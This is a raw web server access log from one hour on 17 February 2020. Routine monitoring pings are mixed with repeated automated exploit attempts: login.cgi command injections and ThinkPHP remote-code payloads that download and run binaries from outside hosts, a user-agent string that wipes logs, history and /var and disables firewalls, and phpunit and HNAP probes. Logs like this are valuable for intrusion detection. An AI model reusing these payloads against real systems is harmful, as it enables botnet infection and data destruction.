95.14.134.10 - - [17/Feb/2020:00:21:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
52.156.33.29 - - [17/Feb/2020:00:21:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
78.188.76.96 - - [17/Feb/2020:00:21:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:00:21:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:00:22:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:00:23:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:00:24:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:00:25:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:00:26:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.77.51.27 - - [17/Feb/2020:00:27:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
34.64.92.122 - - [17/Feb/2020:00:27:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:00:27:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:00:28:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:00:29:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:00:30:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:00:31:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:00:32:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:00:33:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:00:34:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:00:35:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:00:36:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:00:37:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:00:38:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.98.170.121 - - [17/Feb/2020:00:39:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:00:39:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.85.116.56 - - [17/Feb/2020:00:40:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:00:40:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:00:41:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.168.10.239 - - [17/Feb/2020:00:42:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:00:42:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.203.0.247 - - [17/Feb/2020:00:43:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:00:43:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.83.65.239 - - [17/Feb/2020:00:44:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0"
79.101.58.41 - - [17/Feb/2020:00:44:29 +0100] "POST /HNAP1/ HTTP/1.0" 404 311 "-" "-"
212.91.246.72 - - [17/Feb/2020:00:44:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.87.225.67 - - [17/Feb/2020:00:45:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:00:45:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.77.51.27 - - [17/Feb/2020:00:46:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:00:46:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:00:47:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.198.233.112 - - [17/Feb/2020:00:47:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:00:48:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.14.211.118 - - [17/Feb/2020:00:48:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:00:49:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.215.212.192 - - [17/Feb/2020:00:50:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
197.205.12.244 - - [17/Feb/2020:00:50:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:00:50:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:00:51:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:00:52:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:00:53:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:00:54:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.202.40.235 - - [17/Feb/2020:00:55:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
2.178.14.166 - - [17/Feb/2020:00:55:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:00:55:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.215.194.220 - - [17/Feb/2020:00:56:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:00:56:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.97.196.40 - - [17/Feb/2020:00:57:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:00:57:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:00:58:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
153.144.175.124 - - [17/Feb/2020:00:59:15 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
94.99.226.93 - - [17/Feb/2020:00:59:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [17/Feb/2020:00:59:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:01:00:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.172.151.120 - - [17/Feb/2020:01:01:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
78.172.151.120 - - [17/Feb/2020:01:01:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:01:01:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:01:02:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.236.189.221 - - [17/Feb/2020:01:02:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [17/Feb/2020:01:03:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:01:04:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:01:05:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.79.114.134 - - [17/Feb/2020:01:05:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
200.54.145.132 - - [17/Feb/2020:01:06:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [17/Feb/2020:01:06:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:01:07:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:01:08:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:01:09:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:01:10:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.77.51.27 - - [17/Feb/2020:01:11:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:01:11:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:01:12:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.97.100.10 - - [17/Feb/2020:01:13:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:01:13:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:01:14:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:01:15:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.96.207.48 - - [17/Feb/2020:01:16:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:01:16:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:01:17:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [17/Feb/2020:01:18:26 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:01:18:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [17/Feb/2020:01:18:58 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
81.213.166.62 - - [17/Feb/2020:01:19:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:01:19:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
52.15.234.40 - - [17/Feb/2020:01:19:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.97.196.40 - - [17/Feb/2020:01:20:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:01:20:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.58.133.74 - - [17/Feb/2020:01:21:42 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [17/Feb/2020:01:21:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.57.70.137 - - [17/Feb/2020:01:22:02 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
5.101.0.209 - - [17/Feb/2020:01:22:37 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:01:22:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:01:23:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:01:24:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.250.23.181 - - [17/Feb/2020:01:25:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.15.8.176 - - [17/Feb/2020:01:25:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
88.237.245.180 - - [17/Feb/2020:01:25:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
77.250.23.181 - - [17/Feb/2020:01:25:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:01:25:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
